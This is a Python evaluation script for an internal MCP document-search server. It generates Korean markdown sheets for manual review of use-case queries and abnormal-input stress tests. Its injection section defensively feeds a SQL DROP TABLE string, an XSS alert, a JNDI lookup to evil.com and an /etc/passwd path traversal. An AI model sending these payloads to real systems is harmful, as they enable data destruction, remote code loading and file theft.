Spaces:
Paused
Paused
File size: 34,598 Bytes
49b9dd9 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 | """모든 테스트 케이스의 실제 MCP 응답을 수집하여 수동 평가용 마크다운 생성."""
import asyncio
import json
import sys
import os
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "src"))
from yeogibrain_mcp.server import (
search_documents,
get_document,
get_related,
list_documents,
get_statistics,
full_text_search,
get_documents_batch,
)
from yeogibrain_mcp.data_loader import DataStore
# doc_id → Confluence URL 매핑
_store = DataStore()
URL_MAP = {doc_id: doc.get("url", "") for doc_id, doc in _store.documents.items()}
def _link(doc_id):
"""문서 ID를 Confluence 링크로 변환."""
url = URL_MAP.get(doc_id, "")
if url:
return f"[{doc_id}]({url})"
return f"`{doc_id}`"
def summarize_search(parsed, max_items=5):
"""search_documents / full_text_search 결과 요약."""
lines = [f"**total: {parsed['total']}건**"]
for r in parsed["results"][:max_items]:
title = r.get("title", "(제목 없음)")[:60]
snippet = r.get("snippet", "")[:80]
cat = r.get("category", "")
line = f"- {_link(r['id'])} [{cat}] {title}"
if snippet:
line += f" — _{snippet}_"
lines.append(line)
if parsed["total"] > max_items:
lines.append(f"- ... 외 {parsed['total'] - max_items}건")
return "\n".join(lines)
def summarize_doc(parsed):
"""get_document 결과 요약."""
if "error" in parsed:
return f"**Error**: {parsed['error']}"
title = parsed.get("title", "(제목 없음)")[:80]
cat = parsed.get("category", "")
content_len = len(parsed.get("content", ""))
return f"**{_link(parsed['id'])}** [{cat}] {title} (본문 {content_len}자)"
def summarize_related(parsed):
"""get_related 결과 요약."""
if "error" in parsed:
return f"**Error**: {parsed['error']}"
lines = [f"**문서**: {_link(parsed.get('doc_id', '?'))} [{parsed.get('doc_category', '?')}]"]
for key in ("prd", "ac", "ab", "research"):
if key in parsed:
cnt = parsed[key]["count"]
if cnt > 0:
linked = [_link(d["id"]) for d in parsed[key]["documents"][:3]]
lines.append(f"- {key}: {cnt}건 ({', '.join(linked)}{'...' if cnt > 3 else ''})")
else:
lines.append(f"- {key}: 0건")
return "\n".join(lines)
def summarize_stats(parsed):
"""get_statistics 결과 요약."""
lines = [f"**전체**: {parsed.get('total_documents', '?')}건, **그룹**: {len(parsed.get('groups', []))}개"]
for g in parsed.get("groups", [])[:10]:
lines.append(f"- {g['key']}: {g['count']}건")
if len(parsed.get("groups", [])) > 10:
lines.append(f"- ... 외 {len(parsed['groups']) - 10}개")
return "\n".join(lines)
def summarize_batch(parsed):
"""get_documents_batch 결과 요약."""
lines = [f"**성공**: {parsed['total']}건, **에러**: {len(parsed['errors'])}건"]
for r in parsed["results"][:3]:
lines.append(f"- {_link(r['id'])} [{r['category']}] {r.get('title', '')[:50]}")
for e in parsed["errors"][:3]:
lines.append(f"- ❌ {e[:60]}")
return "\n".join(lines)
async def run_and_summarize(func, kwargs, summarizer):
"""함수 실행 후 요약."""
try:
result = await func(**kwargs)
parsed = json.loads(result)
return summarizer(parsed)
except Exception as e:
return f"**Exception**: {type(e).__name__}: {e}"
async def generate_usecase_evaluation():
"""Use Case 질문 평가 파일 생성."""
cases = []
# Case 1
cases.append(("## Case 1: 기능 기획 전", [
("Q1-1", "PDP 관련 AB 테스트 결과를 다 보여줘", search_documents, dict(query="PDP", category="ab"), summarize_search),
("Q1-2", "PDP에 대해 유저 인터뷰에서 어떤 말이 나왔어?", full_text_search, dict(query="PDP", category="dovetail"), summarize_search),
("Q1-3", "검색 기능 관련으로 진행한 리서치 전부 보여줘", search_documents, dict(query="검색", category="research"), summarize_search),
("Q1-5", "해외숙소 관련 지금까지 한 실험이 뭐가 있어?", search_documents, dict(query="해외숙소", category="ab"), summarize_search),
]))
# Q1-4: 복합 (3개 카테고리)
async def q1_4():
lines = ["**체크아웃 관련 cross-category 검색**"]
for cat in ("prd", "ab", "research"):
r = await search_documents(query="결제", category=cat)
p = json.loads(r)
lines.append(f"- {cat}: {p['total']}건")
for doc in p["results"][:2]:
lines.append(f" - {_link(doc['id'])} {doc.get('title', '')[:50]}")
return "\n".join(lines)
# Q1-6: 복합
async def q1_6():
r1 = await search_documents(query="회원가입")
r2 = await full_text_search(query="회원가입")
p1, p2 = json.loads(r1), json.loads(r2)
lines = [f"**search**: {p1['total']}건, **full_text**: {p2['total']}건"]
for doc in (p1["results"] + p2["results"])[:5]:
lines.append(f"- {_link(doc['id'])} [{doc['category']}] {doc.get('title', '')[:50]}")
return "\n".join(lines)
cases[0][1].append(("Q1-4", "체크아웃 관련 PRD, AB, 리서치를 한번에 보고 싶어", None, None, None))
cases[0][1].append(("Q1-6", "회원가입 개선 관련해서 아는 게 있어?", None, None, None))
# Case 2
cases.append(("## Case 2: 디자인 의사결정 근거 확보", [
("Q2-1", "가격 정보를 더 강조하려는데 뒷받침하는 AB 결과 있어?", full_text_search, dict(query="가격", category="ab"), summarize_search),
("Q2-2", "취소 정보를 아이템카드에 노출하면 효과가 있을까?", full_text_search, dict(query="취소정보", category="ab"), summarize_search),
("Q2-3", "객실 목록을 접을지 펼칠지 Baymard에서 뭐라고 해?", search_documents, dict(query="product listing expand collapse", category="baymard"), summarize_search),
("Q2-4", "리뷰 섹션 위치 NNg 원칙", search_documents, dict(query="review placement", category="nng"), summarize_search),
("Q2-5", "모바일 날짜 선택 UI Baymard 가이드라인", search_documents, dict(query="date picker mobile", category="baymard"), summarize_search),
("Q2-6", "복잡도를 줄이는 게 정말 효과 있어?", full_text_search, dict(query="복잡도", category="ab"), summarize_search),
]))
# Case 3
cases.append(("## Case 3: AB 테스트 설계 전 — 선행 학습", [
("Q3-1", "Baymard Cart & Checkout 가이드라인 전부 보여줘", list_documents, dict(category="baymard", theme="Cart & Checkout", limit=200), summarize_search),
("Q3-2", "PDP에서 성공한 실험들의 공통 패턴이 뭐야?", full_text_search, dict(query="런치하기", category="ab"), summarize_search),
("Q3-3", "고관여 상품에서 효과가 컸던 실험만 보여줘", full_text_search, dict(query="호텔 GMV", category="ab"), summarize_search),
("Q3-4", "검색 랭킹 관련 AB 실험 히스토리", search_documents, dict(query="랭킹", category="ab", sort_by="date_asc"), summarize_search),
("Q3-5", "넛징 관련 실험 중 성공/실패 비교", full_text_search, dict(query="넛징", category="ab"), summarize_search),
("Q3-6", "NEUTRAL로 끝난 홈 실험들 Learning 부분", full_text_search, dict(query="NEUTRAL", category="ab"), summarize_search),
]))
# Q3-7: 복합
async def q3_7():
doc = await get_document(doc_id="BMD-001")
dp = json.loads(doc)
lines = [f"**{_link('BMD-001')}**: [{dp.get('category','')}] {dp.get('title','')[:60]}"]
lines.append(f"- issue: {dp.get('issue','')[:80]}")
lines.append(f"- advice: {dp.get('advice','')[:80]}")
return "\n".join(lines)
cases[2][1].append(("Q3-7", "이 Baymard 가이드라인은 우리가 검증한 적 있어?", None, None, None))
# Case 4
cases.append(("## Case 4: 리서치 결과의 실제 반영 추적", [
("Q4-1", "RES-023 결과가 PRD나 AB로 이어졌어?", get_related, dict(doc_id="RES-001"), summarize_related),
("Q4-3", "PRD-045와 관련된 리서치가 있었어?", get_related, dict(doc_id="PRD-001"), summarize_related),
]))
# Q4-2: 체인
async def q4_2():
r = await list_documents(category="research", methodology="UT", date_from="2024-01-01")
p = json.loads(r)
lines = [f"**2024 UT 리서치**: {p['total']}건"]
for doc in p["results"][:3]:
lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:50]}")
if p["total"] > 0:
rel = await get_related(doc_id=p["results"][0]["id"])
rp = json.loads(rel)
lines.append(f"\n**{_link(p['results'][0]['id'])} 연관문서:**")
for key in ("prd", "ac", "ab", "research"):
if key in rp:
lines.append(f"- {key}: {rp[key]['count']}건")
return "\n".join(lines)
# Q4-4
async def q4_4():
r = await search_documents(query="", category="ab", experiment_no="119")
p = json.loads(r)
lines = [f"**실험 119번**: {p['total']}건"]
for doc in p["results"]:
lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:60]}")
return "\n".join(lines)
# Q4-5
async def q4_5():
r = await search_documents(query="파트너센터", category="research")
p = json.loads(r)
lines = [f"**파트너센터 리서치**: {p['total']}건"]
for doc in p["results"][:3]:
lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:50]}")
if p["total"] > 0:
rel = await get_related(doc_id=p["results"][0]["id"])
rp = json.loads(rel)
lines.append(f"\n**{_link(p['results'][0]['id'])} 연관:**")
for key in ("prd", "ac", "ab", "research"):
if key in rp:
lines.append(f"- {key}: {rp[key]['count']}건")
return "\n".join(lines)
cases[3][1].append(("Q4-2", "2024 UT 리서치 중 AB까지 연결된 건 몇 개야?", None, None, None))
cases[3][1].append(("Q4-4", "AB 테스트 119번 실험의 배경이 된 리서치/PRD 찾아줘", None, None, None))
cases[3][1].append(("Q4-5", "파트너센터 리서치 14건이 실제 PRD로 얼마나 반영됐어?", None, None, None))
# Case 5
cases.append(("## Case 5: 특정 리서처/PO의 히스토리 파악", [
("Q5-2", "욘두가 진행한 리서치를 날짜순으로 보여줘", list_documents, dict(category="research", author="욘두", sort_by="date_desc"), summarize_search),
("Q5-3", "케인이 검색 도메인에서 진행한 실험 히스토리", search_documents, dict(query="", category="ab", author="케인Kane(박대현) / 검색추천기획팀"), summarize_search),
("Q5-4", "리서치팀에서 가장 많은 리서치를 진행한 사람은?", get_statistics, dict(group_by="author", category="research"), summarize_stats),
("Q5-5", "PDP AB 테스트 — 여러 PO가 담당", search_documents, dict(query="PDP", category="ab"), summarize_search),
]))
# Case 6
cases.append(("## Case 6: 유저 보이스에서 패턴 발견", [
("Q6-1", "유저가 '불편하다', '어렵다'고 말한 인터뷰 발화 찾아줘", full_text_search, dict(query="불편", category="dovetail"), summarize_search),
("Q6-2", "검색 FGI에서 유저들이 뭐라고 했어?", list_documents, dict(category="dovetail", project="[FGI]통합검색"), summarize_search),
("Q6-3", "유저가 가격 관련해서 언급한 발화 모아줘", full_text_search, dict(query="가격", category="dovetail"), summarize_search),
("Q6-4", "취소/환불에 대해 유저가 직접 한 말이 있어?", full_text_search, dict(query="취소", category="dovetail"), summarize_search),
("Q6-5", "해외숙소 예약 경험에 대한 인터뷰 내용", full_text_search, dict(query="해외숙소", category="dovetail"), summarize_search),
("Q6-6", "Dovetail 프로젝트별로 인터뷰가 몇 건씩 있어?", get_statistics, dict(group_by="project", category="dovetail"), summarize_stats),
("Q6-7", "유저가 '비교'라는 단어를 쓴 맥락 보고 싶어", full_text_search, dict(query="비교", category="dovetail"), summarize_search),
]))
# Case 7
cases.append(("## Case 7: 글로벌 UX 원칙과 자사 현황 비교", [
("Q7-1", "Baymard Product Page 가이드라인 중 importance 높은 것", search_documents, dict(query="", category="baymard", theme="Product Page"), summarize_search),
("Q7-2", "NNg 모바일 네비게이션", search_documents, dict(query="mobile navigation", category="nng"), summarize_search),
("Q7-7", "NNg 정보 시인성(information scent) 원칙", search_documents, dict(query="information scent", category="nng"), summarize_search),
]))
# Q7-3 ~ Q7-6: 복합
async def q7_3():
bmd = await list_documents(category="baymard", theme="Cart & Checkout", limit=5)
ab = await search_documents(query="결제", category="ab")
bp, ap = json.loads(bmd), json.loads(ab)
lines = [f"**Baymard Cart & Checkout**: {bp['total']}건"]
for d in bp["results"][:3]:
lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
lines.append(f"\n**자사 결제 AB**: {ap['total']}건")
for d in ap["results"][:3]:
lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
return "\n".join(lines)
async def q7_4():
nng = await search_documents(query="search", category="nng")
prd = await search_documents(query="검색", category="prd")
np_, pp = json.loads(nng), json.loads(prd)
lines = [f"**NNg search**: {np_['total']}건"]
for d in np_["results"][:3]:
lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
lines.append(f"\n**자사 검색 PRD**: {pp['total']}건")
for d in pp["results"][:3]:
lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
return "\n".join(lines)
async def q7_5():
bmd = await search_documents(query="homepage", category="baymard")
nng = await search_documents(query="homepage", category="nng")
bp, np_ = json.loads(bmd), json.loads(nng)
lines = [f"**Baymard homepage**: {bp['total']}건, **NNg homepage**: {np_['total']}건"]
for d in bp["results"][:2]:
lines.append(f"- [baymard] {_link(d['id'])} {d.get('title','')[:50]}")
for d in np_["results"][:2]:
lines.append(f"- [nng] {_link(d['id'])} {d.get('title','')[:50]}")
return "\n".join(lines)
async def q7_6():
bmd = await search_documents(query="review", category="baymard")
ab = await search_documents(query="리뷰", category="ab")
bp, ap = json.loads(bmd), json.loads(ab)
lines = [f"**Baymard review**: {bp['total']}건, **자사 리뷰 AB**: {ap['total']}건"]
for d in bp["results"][:2]:
lines.append(f"- [baymard] {_link(d['id'])} {d.get('title','')[:50]}")
for d in ap["results"][:2]:
lines.append(f"- [ab] {_link(d['id'])} {d.get('title','')[:50]}")
return "\n".join(lines)
cases[6][1].append(("Q7-3", "Baymard 체크아웃 가이드라인과 우리 결제 AB 비교", None, None, None))
cases[6][1].append(("Q7-4", "NNg 검색 UX 원칙 vs 우리 검색 PRD", None, None, None))
cases[6][1].append(("Q7-5", "홈페이지 Baymard + NNg 원칙 한번에", None, None, None))
cases[6][1].append(("Q7-6", "Baymard 리뷰 가이드라인 vs 우리 리뷰 AB", None, None, None))
# Case 8
cases.append(("## Case 8: 분기/연간 리서치 현황 리뷰", [
("Q8-1", "2024년에 월별로 리서치가 몇 건이었어?", get_statistics, dict(group_by="year_month", category="research"), summarize_stats),
("Q8-2", "리서치 방법론 분포 (UT 편중?)", get_statistics, dict(group_by="methodology", category="research"), summarize_stats),
("Q8-3", "도메인별 리서치 건수", get_statistics, dict(group_by="domain", category="research"), summarize_stats),
("Q8-4", "올해 AB 테스트 PO별 건수", get_statistics, dict(group_by="author", category="ab"), summarize_stats),
("Q8-6", "Baymard 테마별 가이드라인 수", get_statistics, dict(group_by="theme", category="baymard"), summarize_stats),
("Q8-7", "Dovetail 프로젝트별 인터뷰 수", get_statistics, dict(group_by="project", category="dovetail"), summarize_stats),
]))
# Q8-5: 복합
async def q8_5():
prd = await get_statistics(group_by="domain", category="prd")
res = await get_statistics(group_by="domain", category="research")
pp, rp = json.loads(prd), json.loads(res)
prd_d = {g["key"]: g["count"] for g in pp["groups"]}
res_d = {g["key"]: g["count"] for g in rp["groups"]}
lines = ["**PRD vs Research 도메인 비교:**", "| 도메인 | PRD | Research | 갭 |", "|---|---|---|---|"]
for k in sorted(prd_d.keys()):
rc = res_d.get(k, 0)
gap = "✅" if rc > 0 else "❌ 공백"
lines.append(f"| {k} | {prd_d[k]} | {rc} | {gap} |")
return "\n".join(lines)
cases[7][1].append(("Q8-5", "PRD는 많은데 리서치가 없는 도메인이 어디야?", None, None, None))
# Case 9
cases.append(("## Case 9: 성과 기반 리서치 영역 탐색", [
("Q9-1", "GMV가 1% 이상 오른 실험 모아줘", full_text_search, dict(query="GMV 상승", category="ab"), summarize_search),
("Q9-2", "성공한 실험들의 공통 Learning 정리", full_text_search, dict(query="Learning", category="ab"), summarize_search),
("Q9-3", "NEUTRAL로 끝난 실험들은 어떤 영역?", full_text_search, dict(query="NEUTRAL", category="ab"), summarize_search),
("Q9-4", "정보 시인성 개선 실험 성공률", full_text_search, dict(query="시인성", category="ab"), summarize_search),
("Q9-5", "고관여 상품 효과 큰 실험 패턴", full_text_search, dict(query="호텔 GMV", category="ab"), summarize_search),
]))
# Q9-6, Q9-7: 복합
async def q9_6():
prd = await get_statistics(group_by="domain", category="prd")
res = await get_statistics(group_by="domain", category="research")
pp, rp = json.loads(prd), json.loads(res)
prd_search = next((g["count"] for g in pp["groups"] if g["key"] == "search"), 0)
res_search = sum(g["count"] for g in rp["groups"] if "검색" in g["key"])
return f"**검색 도메인 갭**: PRD {prd_search}건 vs Research {res_search}건 (비율 {prd_search}/{max(res_search,1)})"
async def q9_7():
bmd = await get_statistics(group_by="category")
p = json.loads(bmd)
counts = {g["key"]: g["count"] for g in p["groups"]}
return f"**전체 문서 분포**: Baymard {counts.get('baymard',0)}건, AB {counts.get('ab',0)}건 — Baymard가 {counts.get('baymard',0) - counts.get('ab',0)}건 더 많음"
cases[8][1].append(("Q9-6", "검색 도메인 PRD 60건 vs Research 6건 갭 분석", None, None, None))
cases[8][1].append(("Q9-7", "Baymard 중 아직 실험 안 해본 영역은?", None, None, None))
# 복합 호출 매핑
complex_funcs = {
"Q1-4": q1_4, "Q1-6": q1_6, "Q3-7": q3_7,
"Q4-2": q4_2, "Q4-4": q4_4, "Q4-5": q4_5,
"Q7-3": q7_3, "Q7-4": q7_4, "Q7-5": q7_5, "Q7-6": q7_6,
"Q8-5": q8_5, "Q9-6": q9_6, "Q9-7": q9_7,
}
# 실행 및 마크다운 생성
output = []
output.append("# Use Case 질문 평가 — 실제 MCP 응답\n")
output.append("> **목적**: 각 질문에 대한 실제 Tool 응답을 수동으로 검토")
output.append("> **판단자**: _______________")
output.append("> **판단일**: _______________\n")
for section_title, items in cases:
output.append(f"\n---\n\n{section_title}\n")
for qid, question, func, kwargs, summarizer in items:
output.append(f"### {qid}: {question}\n")
if qid in complex_funcs:
try:
summary = await complex_funcs[qid]()
except Exception as e:
summary = f"**Exception**: {e}"
else:
summary = await run_and_summarize(func, kwargs, summarizer)
output.append(summary)
output.append(f"\n**Pass/Fail**: ______\n")
return "\n".join(output)
async def generate_anti_persona_evaluation():
"""Anti-Persona ABC 평가 파일 생성."""
output = []
output.append("# Anti-Persona (A/B/C) 평가 — 실제 MCP 응답\n")
output.append("> **목적**: 비정상 입력에 대한 실제 Tool 응답을 수동으로 검토")
output.append("> **판단자**: _______________")
output.append("> **판단일**: _______________\n")
# --- Type A ---
output.append("\n---\n\n## Type A: 초보자\n")
# A1: 잘못된 doc_id
output.append("### A1: 잘못된 doc_id 형식\n")
for tid, doc_id in [("A1-1", "1"), ("A1-2", "158"), ("A1-3", "17"), ("A1-4", "NNG-1"), ("A1-5", "baymard-100")]:
r = await get_document(doc_id=doc_id)
p = json.loads(r)
summary = summarize_doc(p)
output.append(f"**{tid}** `get_document(doc_id=\"{doc_id}\")` → {summary}\n")
output.append("**Pass/Fail**: ______\n")
# A2: 카테고리 오입력
output.append("### A2: 카테고리명 오입력\n")
for tid, cat in [("A2-1","Research"),("A2-2","PRD"),("A2-3","ab test"),("A2-4","리서치"),("A2-5","nngroup"),("A2-6","interview")]:
r = await search_documents(query="검색", category=cat)
p = json.loads(r)
output.append(f"**{tid}** `category=\"{cat}\"` → {p['total']}건, filters.category=\"{p['filters']['category']}\"\n")
r = await get_statistics(group_by="category", category="전체")
p = json.loads(r)
output.append(f"**A2-7** `get_statistics(category=\"전체\")` → {p['total_documents']}건, groups={p['groups']}\n")
output.append("**Pass/Fail**: ______\n")
# A3: 넓은/모호한 질문
output.append("### A3: 너무 넓거나 모호한 질문\n")
r = await list_documents(limit=99999)
p = json.loads(r)
output.append(f"**A3-1** `list_documents(limit=99999)` → **{p['total']}건** 반환\n")
r = await search_documents(query="")
p = json.loads(r)
output.append(f"**A3-2** `search_documents(query=\"\")` → **{p['total']}건**, results={p['results']}\n")
output.append("**Pass/Fail**: ______\n")
# A5: 날짜 형식
output.append("### A5: 잘못된 날짜 형식\n")
for tid, df in [("A5-1","2024년 1월"),("A5-2","작년"),("A5-3","01/15/2024"),("A5-4","2024.03.01"),("A5-5","2024-13-01")]:
r = await search_documents(query="검색", date_from=df)
p = json.loads(r)
output.append(f"**{tid}** `date_from=\"{df}\"` → {p['total']}건, filter반영: {p['filters']['date_from']}\n")
r = await search_documents(query="검색", date_from="2024-06-01", date_to="2024-01-01")
p = json.loads(r)
output.append(f"**A5-6** 역전 날짜 → {p['total']}건\n")
output.append("**Pass/Fail**: ______\n")
# A6: 한/영 혼용
output.append("### A6: 한글/영어 혼용 검색\n")
for tid, q, cat in [("A6-1","checkout","prd"),("A6-2","결제","baymard"),("A6-3","리뷰","nng"),("A6-4","homepage","prd"),("A6-5","search","research")]:
r = await search_documents(query=q, category=cat)
p = json.loads(r)
output.append(f"**{tid}** `query=\"{q}\", category=\"{cat}\"` → **{p['total']}건**\n")
output.append("**Pass/Fail**: ______\n")
# A7: 결과 0건
output.append("### A7: 결과 0건 상황\n")
r = await search_documents(query="결제", category="research")
p = json.loads(r)
output.append(f"**A7-1** `query=\"결제\", category=\"research\"` → **{p['total']}건**\n")
r = await search_documents(query="", category="ab", author="욘두")
p = json.loads(r)
output.append(f"**A7-2** `category=\"ab\", author=\"욘두\"` → **{p['total']}건** (욘두는 research 담당)\n")
r = await list_documents(category="dovetail", methodology="UT")
p = json.loads(r)
output.append(f"**A7-3** `category=\"dovetail\", methodology=\"UT\"` → **{p['total']}건** (dovetail엔 methodology 없음)\n")
r = await search_documents(query="xyzabc123nonexistent")
p = json.loads(r)
output.append(f"**A7-4** `query=\"xyzabc123nonexistent\"` → **{p['total']}건**\n")
output.append("**Pass/Fail**: ______\n")
# A8: 필터 과다
output.append("### A8: 필터 과다 조합\n")
r = await search_documents(query="검색", category="research", author="욘두", methodology="UT", date_from="2024-01-01", date_to="2024-06-30")
p = json.loads(r)
output.append(f"**A8-1** 5개 필터 동시 → **{p['total']}건**, filters: {json.dumps(p['filters'], ensure_ascii=False)}\n")
r = await list_documents(category="baymard", author="Jakob Nielsen")
p = json.loads(r)
output.append(f"**A8-2** `baymard + author=\"Jakob Nielsen\"` → **{p['total']}건**\n")
r = await search_documents(query="PDP", category="nng", methodology="Survey")
p = json.loads(r)
output.append(f"**A8-3** `nng + methodology=\"Survey\"` → **{p['total']}건**\n")
output.append("**Pass/Fail**: ______\n")
# A10: batch
output.append("### A10: batch ID 형식 불일치\n")
r = await get_documents_batch(doc_ids=["PRD-001", "PRD001", "prd-001"], fields="summary")
p = json.loads(r)
output.append(f"**A10** → 성공: {p['total']}건, 에러: {len(p['errors'])}건\n")
for d in p["results"]:
output.append(f"- ✅ {_link(d['id'])}\n")
for e in p["errors"]:
output.append(f"- ❌ {e}\n")
output.append("**Pass/Fail**: ______\n")
# --- Type B ---
output.append("\n---\n\n## Type B: 오용자\n")
# B1: 범위 밖
output.append("### B1: MCP 범위 밖 데이터 요청\n")
for tid, q in [("B1-1","앱 다운로드 수"),("B1-2","야놀자 MAU"),("B1-3","지난달 매출"),("B1-5","Jira 티켓")]:
r = await search_documents(query=q)
p = json.loads(r)
output.append(f"**{tid}** `query=\"{q}\"` → **{p['total']}건**")
if p["total"] > 0:
output.append(f" — 첫 결과: {_link(p['results'][0]['id'])} {p['results'][0].get('title','')[:40]}")
output.append("\n")
output.append("**Pass/Fail**: ______\n")
# B4: 외부 문서 get_related
output.append("### B4: 관계(get_related)를 외부 문서에 사용\n")
for tid, did in [("B4-1","NNG-001"),("B4-2","BMD-100"),("B4-3","TRS-001")]:
r = await get_related(doc_id=did)
p = json.loads(r)
summary = summarize_related(p)
output.append(f"**{tid}** `get_related(\"{did}\")` →\n{summary}\n\n")
output.append("**Pass/Fail**: ______\n")
# B5: 잘못된 group_by
output.append("### B5: 잘못된 group_by 값\n")
for tid, gb, cat in [("B5-1","rating",None),("B5-2","experiment_result",None)]:
kwargs = dict(group_by=gb)
if cat:
kwargs["category"] = cat
r = await get_statistics(**kwargs)
p = json.loads(r)
keys = [g["key"] for g in p["groups"][:3]]
output.append(f"**{tid}** `group_by=\"{gb}\"` → groups: {keys}\n")
r = await get_statistics(group_by="domain", category="dovetail")
p = json.loads(r)
output.append(f"**B5-5** `domain + dovetail` → {len(p['groups'])}개 그룹, 합계={sum(g['count'] for g in p['groups'])}건\n")
r = await get_statistics(group_by="domain", category="ab")
p = json.loads(r)
keys = [g["key"] for g in p["groups"]]
output.append(f"**B9** `domain + ab` → groups: {keys}, 전체={p['total_documents']}건\n")
r = await list_documents(category="dovetail", methodology="FGI")
p = json.loads(r)
output.append(f"**B10** `dovetail + methodology=\"FGI\"` → **{p['total']}건**\n")
output.append("**Pass/Fail**: ______\n")
# --- Type C ---
output.append("\n---\n\n## Type C: 악의적/스트레스\n")
# C1: 극단적 파라미터
output.append("### C1: 극단적 파라미터\n")
r = await list_documents(limit=99999)
p = json.loads(r)
output.append(f"**C1-1** `limit=99999` → **{p['total']}건**\n")
for tid, kwargs in [("C1-2", dict(limit=-1)), ("C1-3", dict(limit=0))]:
r = await list_documents(**kwargs)
p = json.loads(r)
output.append(f"**{tid}** `limit={list(kwargs.values())[0]}` → {len(p['results'])}건 반환\n")
r = await list_documents(offset=999999)
p = json.loads(r)
output.append(f"**C1-4** `offset=999999` → {p['total']}건\n")
r = await list_documents(offset=-10)
p = json.loads(r)
output.append(f"**C1-5** `offset=-10` → {len(p['results'])}건 반환\n")
r = await get_documents_batch(doc_ids=["PRD-001"] * 100)
p = json.loads(r)
output.append(f"**C1-6** `PRD-001 x 100` → {p['total']}건, 에러 {len(p['errors'])}건\n")
r = await full_text_search(query="검색", limit=10000)
p = json.loads(r)
output.append(f"**C1-7** `fts limit=10000` → {p['total']}건\n")
output.append("**Pass/Fail**: ______\n")
# C2: Injection
output.append("### C2: Injection 시도\n")
for tid, q in [("C2-1","'; DROP TABLE documents; --"),("C2-2","<script>alert('xss')</script>"),("C2-4","${jndi:ldap://evil.com}")]:
r = await search_documents(query=q)
p = json.loads(r)
output.append(f"**{tid}** `\"{q}\"` → **{p['total']}건**, 정상구조: {'✅' if 'results' in p else '❌'}\n")
r = await get_document(doc_id="../../../../etc/passwd")
p = json.loads(r)
output.append(f"**C2-3** path traversal → {summarize_doc(p)}\n")
r = await get_document(doc_id="__proto__")
p = json.loads(r)
output.append(f"**C2-5** `__proto__` → {summarize_doc(p)}\n")
# 정상 검색 확인
normal = await search_documents(query="패키지")
np_ = json.loads(normal)
output.append(f"\n✅ injection 후 정상 검색 확인: `query=\"패키지\"` → **{np_['total']}건** (데이터 오염 없음)\n")
output.append("**Pass/Fail**: ______\n")
# C3: 빈 값
output.append("### C3: 빈 값 / null 공격\n")
r = await get_document(doc_id="")
p = json.loads(r)
output.append(f"**C3-1** 빈 doc_id → {summarize_doc(p)}\n")
r = await search_documents(query="", category="", author="")
p = json.loads(r)
output.append(f"**C3-2** 모든 파라미터 빈 문자열 → {p['total']}건\n")
r = await get_documents_batch(doc_ids=[])
p = json.loads(r)
output.append(f"**C3-3** 빈 리스트 batch → {p['total']}건, 에러 {len(p['errors'])}건\n")
r = await get_documents_batch(doc_ids=["", "", ""])
p = json.loads(r)
output.append(f"**C3-4** 빈 문자열 x 3 → 성공 {p['total']}건, 에러 {len(p['errors'])}건\n")
r = await full_text_search(query="")
p = json.loads(r)
output.append(f"**C3-5** 빈 fts → {p['total']}건\n")
r = await get_statistics(group_by="")
p = json.loads(r)
output.append(f"**C3-6** 빈 group_by → {len(p['groups'])}개 그룹\n")
output.append("**Pass/Fail**: ______\n")
# C4: 특수문자
output.append("### C4: 특수문자 / 유니코드\n")
for tid, q in [("C4-1","🔥🏨💰"),("C4-3","\\n\\r\\t"),("C4-5","\\\\\\\\")]:
r = await search_documents(query=q)
p = json.loads(r)
output.append(f"**{tid}** `\"{q}\"` → {p['total']}건\n")
r = await get_document(doc_id="PRD-🔥")
p = json.loads(r)
output.append(f"**C4-2** `PRD-🔥` → {summarize_doc(p)}\n")
